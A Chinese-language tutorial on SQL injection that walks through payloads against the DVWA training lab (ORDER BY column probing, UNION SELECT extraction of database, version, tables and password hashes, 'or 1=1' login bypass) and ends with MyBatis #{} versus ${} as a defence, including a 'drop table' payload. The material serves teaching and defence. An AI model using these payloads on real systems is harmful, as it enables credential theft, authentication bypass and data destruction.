一、Sql 注入漏洞詳解

Sql 注入產生原因及威脅：

當我們訪問動態網頁時, Web 服務器會向數據訪問層發起 Sql 查詢請求，如果權限驗證通過就會執行 Sql 語句。這種網站內部直接發送的Sql請求一般不會有危險，但實際情況是很多時候需要結合用戶的輸入數據動態構造 Sql 語句，如果用戶輸入的數據被構造成惡意 Sql 代碼，Web 應用又未對動態構造的 Sql 語句使用的參數進行審查，則會帶來意想不到的危險。

Sql 注入帶來的威脅主要有如下幾點

猜解后臺數據庫，這是利用最多的方式，盜取網站的敏感信息。

繞過認證，列如繞過驗證登錄網站后臺。

注入可以借助數據庫的存儲過程進行提權等操作

Sql 注入示例一.猜解數據庫

接下來我們通過一個實例，讓你更加清楚的理解 Sql 注入猜解數據庫是如何發生的。使用DVWA滲透測試平臺，作為攻擊測試的目標：

先輸入 1 ，查看回顯 (URL中ID=1，說明php頁面通過get方法傳遞參數)：

那實際上后臺執行了什么樣的Sql語句呢？ ，其中的SQL查詢代碼為：

可以看到，實際執行的Sql語句是：

SELECT first_name, last_name FROM users WHERE user_id = '1';

我們是通過控制參數Id的值來返回我們需要的信息。
如果我們不按常理出牌，比如在輸入框中輸入 1' order by 1#
實際執行的Sql語句就會變成:

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql語法，#后面會被注釋掉，使用這種方法屏蔽掉后面的單引號，避免語法錯誤)

這條語句的意思是查詢users表中user_id為1的數據并按第一字段排行。

輸入 1’ order by 1#和 1’ order by 2#時都返回正常：


當輸入 1’ order by 3#時，返回錯誤：

由此可知，users表中只有兩個字段，數據為兩列。

接下來我們使用 union select聯合查詢繼續獲取信息。
union 運算符可以將兩個或兩個以上 select 語句的查詢結果集合合并成一個結果集合顯示，即執行聯合查詢。需要注意在使用 union 查詢的時候需要和主查詢的列數相同，而我們之前已經知道了主查詢列數為 2，接下來就好辦了。
輸入1’ union select database(),user()#進行查詢 ：

• database()將會返回當前網站所使用的數據庫名字.
• user()將會返回執行當前查詢的用戶名.

實際執行的Sql語句是 :

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

通過上圖返回信息，我們成功獲取到：

• 當前網站使用數據庫為 dvwa .
• 當前執行查詢用戶名為 root@localhost .

同理我們再輸入 1' union select version(),@@version_compile_os#進行查詢：

• version() 獲取當前數據庫版本.
• @@version_compile_os 獲取當前操作系統。

實際執行的Sql語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

通過上圖返回信息，我們又成功獲取到：

• 當前數據庫版本為 : 5.6.31-0ubuntu0.15.10.1.
• 當前操作系統為 : debian-linux-gnu

接下來我們嘗試獲取 dvwa 數據庫中的表名。
information_schema 是 mysql 自帶的一張表，這張數據表保存了 Mysql 服務器所有數據庫的信息,如數據庫名，數據庫的表，表欄的數據類型與訪問權限等。該數據庫擁有一個名為 tables 的數據表，該表包含兩個字段 table_name 和 table_schema，分別記錄 DBMS 中的存儲的表名和表名所在的數據庫。

我們輸入1’ union select table_name,table_schema from information_schema.tables where table_schema= ‘dvwa’#進行查詢：
實際執行的Sql語句是：

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

通過上圖返回信息，我們再獲取到：

• dvwa 數據庫有兩個數據表，分別是 guestbook 和 users .

有些同學肯定還不滿足目前獲取到的信息，那么我們接下來嘗試獲取重量級的用戶名、密碼。由經驗我們可以大膽猜測users表的字段為 user 和 password ，所以輸入：1' union select user,password from users#進行查詢：
實際執行的 Sql 語句是：

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

可以看到成功爆出用戶名、密碼，密碼采用 md5 進行加密，可以到www.cmd5.com進行解密。直此，同學們應該已經對 Sql 注入有了一個大概得了解，也清楚了 Sql 注入的強大。

Sql 注入實例二.驗證繞過

接下來我們再試試另一個利用 Sql 漏洞繞過登錄驗證的實例。
使用事先編寫好的頁面，這是一個普通的登錄頁面，只要輸入正確的用戶名和密碼就能登錄成功。

我們先嘗試隨意輸入用戶名 123 和密碼 123 登錄：

從錯誤頁面中我們無法獲取到任何信息。
看看后臺代碼如何做驗證的：

實際執行的操作時：

select * from users where username='123' and password='123'

當查詢到數據表中存在同時滿足 username 和 password 字段時，會返回登錄成功。按照第一個實例的思路，我們嘗試在用戶名中輸入 123' or 1=1 #, 密碼同樣輸入 123' or 1=1 # ：


為什么能夠成功登陸呢？因為實際執行的語句是：

select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

按照 Mysql 語法，# 后面的內容會被忽略，所以以上語句等同于（實際上密碼框里不輸入任何東西也一樣）：

select * from users where username='123' or 1=1

由于判斷語句 or 1=1 恒成立，所以結果當然返回真，成功登錄。
我們再嘗試不使用 # 屏蔽單引號，采用手動閉合的方式：
我們嘗試在用戶名中輸入 123’ or ‘1’=‘1, 密碼同樣輸入 123’ or ‘1’='1 （不能少了單引號，否則會有語法錯誤）：

實際執行的 Sql 語句是：

select * from users where username='123' or '1'='1' and password='123' or '1'='1

看到了嗎？兩個 or 語句使 and 前后兩個判斷永遠恒等于真，所以能夠成功登錄。還有很多其他 Mysql 語句可以巧妙的繞過驗證，同學們可以發散自己的思維進行嘗試。

二、判斷 Sql 注入點

通常情況下，可能存在 Sql 注入漏洞的 Url 是類似這種形式 ：http://xxx.xxx.xxx/abcd.php?id=XX
對 Sql 注入的判斷，主要有兩個方面：

• 判斷該帶參數的 Url 是否存在 Sql 注入？
• 如果存在 Sql 注入，那么屬于哪種 Sql 注入？

可能存在 Sql 注入攻擊的 ASP/PHP/JSP 動態網頁中，一個動態網頁中可能只有一個參數，有時可能有多個參數。有時是整型參數，有時是字符串型參數，不能一概而論。總之只要是帶有參數的動態網頁且此網頁訪問了數據庫，那么就有可能存在 Sql 注入。如果程序員沒有足夠的安全意識，沒有進行必要的字符過濾，存在SQL注入的可能性就非常大。

判斷是否存在 Sql 注入漏洞

最為經典的單引號判斷法：
在參數后面加上單引號,比如:

http://xxx/abc.php?id=1'

如果頁面返回錯誤，則存在 Sql 注入。原因是無論字符型還是整型都會因為單引號個數不匹配而報錯。（如果未報錯，不代表不存在 Sql 注入，因為有可能頁面對單引號做了過濾，這時可以使用判斷語句進行注入，因為此為入門基礎課程，就不做深入講解了）

判斷 Sql 注入漏洞的類型

通常 Sql 注入漏洞分為 2 種類型：

• 數字型
• 字符型

其實所有的類型都是根據數據庫本身表的類型所產生的，在我們創建表的時候會發現其后總有個數據類型的限制，而不同的數據庫又有不同的數據類型，但是無論怎么分常用的查詢數據類型總是以數字與字符來區分的，所以就會產生注入點為何種類型。

• 數字型判斷：
  當輸入的參 x 為整型時，通常 abc.php 中 Sql 語句類型大致如下：

select * from <表名> where id = x

這種類型可以使用經典的 and 1=1 和 and 1=2 來判斷：

• Url 地址中輸入 http://xxx/abc.php?id= x and 1=1 頁面依舊運行正常，繼續進行下一步。
• Url地址中繼續輸入 http://xxx/abc.php?id= x and 1=2 頁面運行錯誤，則說明此 Sql 注入為數字型注入。

原因如下：
當輸入 and 1=1時，后臺執行 Sql 語句：

select * from <表名> where id = x and 1=1

沒有語法錯誤且邏輯判斷為正確，所以返回正常。

當輸入 and 1=2時，后臺執行 Sql 語句：

select * from <表名> where id = x and 1=2

沒有語法錯誤但是邏輯判斷為假，所以返回錯誤。
我們再使用假設法：如果這是字符型注入的話，我們輸入以上語句之后應該出現如下情況：

select * from <表名> where id = 'x and 1=1' select * from <表名> where id = 'x and 1=2'

查詢語句將 and 語句全部轉換為了字符串，并沒有進行 and 的邏輯判斷，所以不會出現以上結果，故假設是不成立的。

• 字符型判斷：
  當輸入的參 x 為字符型時，通常 abc.php 中 SQL 語句類型大致如下：

select * from <表名> where id = 'x'

這種類型我們同樣可以使用 and '1'='1 和 and '1'='2來判斷：

• Url 地址中輸入 http://xxx/abc.php?id= x' and '1'='1 頁面運行正常，繼續進行下一步。
• Url地址中繼續輸入 http://xxx/abc.php?id= x' and '1'='2 頁面運行錯誤，則說明此 Sql 注入為字符型注入。

原因如下：
當輸入 and '1'='1時，后臺執行 Sql 語句：

select * from <表名> where id = 'x' and '1'='1'

語法正確，邏輯判斷正確，所以返回正確。

當輸入 and '1'='2時，后臺執行 Sql 語句：

select * from <表名> where id = 'x' and '1'='2'

語法正確，但邏輯判斷錯誤，所以返回正確。同學們同樣可以使用假設法來驗證。

三、Mybatis防止sql注入

下面是MyBatis一個Dao配置

<select id="findRank" parameterType ="String" resultType="String">SELECT u.name FROM UserInfo uwhere 1=1 and u.UserID=#{userID} ; </select>

打印出執行的SQL語句

SELECT u.name FROM UserInfo u where 1=1 and u.UserID=?

這是因為MyBatis啟用了預編譯功能，在SQL執行前，會先將上面的SQL發送給數據庫進行編譯；執行時，直接使用編譯好的SQL，替換占位符“?”就可以了。因為SQL注入只能對編譯過程起作用，所以這樣的方式就很好地避免了SQL注入的問題。

• 底層實現原理

MyBatis是如何做到SQL預編譯的呢？其實在框架底層，是JDBC中的PreparedStatement類在起作用，PreparedStatement是我們很熟悉的Statement的子類，它的對象包含了編譯好的SQL語句。這種“準備好”的方式不僅能提高安全性，而且在多次執行同一個SQL時，能夠提高效率。原因是SQL已編譯好，再次執行時無需再編譯。

話說回來，是否我們使用MyBatis就一定可以防止SQL注入呢？當然不是，請看下面的代碼：

<select id="findRank" parameterType ="String" resultType="String">SELECT u.name FROM UserInfo uwhere 1=1and u.UserID=${userID} ; </select>

假設userID=1,將SQL打印出來是這樣的：

SELECT u.name FROM UserInfo u where 1=1 and u.UserID=1

假如：

userID=1;drop table UserInfo ;

那么sql是這樣的

SELECT u.name FROM UserInfo u where 1=1 and u.UserID=1;drop table UserInfo ;測試結果SELECT u.name FROM UserInfo u where 1=1 and u.UserID=1;drop table UserInfo; ### Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'drop table UserInfo' at line 3 直接報異常，你應該慶幸mybaties做了處理，但是不管怎么說${xxx}是無法阻止SQL注入的。

• “${xxx}”

缺點： 直接參與SQL編譯，不能避免注入攻擊。

優點：及到動態表名和列名時，只能使用“${xxx}”這樣的參數格式

注意：這樣的參數需要我們在代碼中手工進行處理來防止注入。

${}將傳入的參數直接顯示生成在sql中，不會添加引號

• “#{xxx}“

相當于JDBC中的PreparedStatement

#{}將傳入的參數當成一個字符串，會給傳入的參數加一個雙引號

優點：#{}是經過預編譯的，是安全的；

PreparedStatement只能用來為參數（如參數值）設置動態參數，即用?占位，不可用于表名、字段名等

參考文章

與50位技術專家面對面20年技術見證，附贈技術全景圖

總結

以上是生活随笔為你收集整理的sql注入及mybatis防止sql注入的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。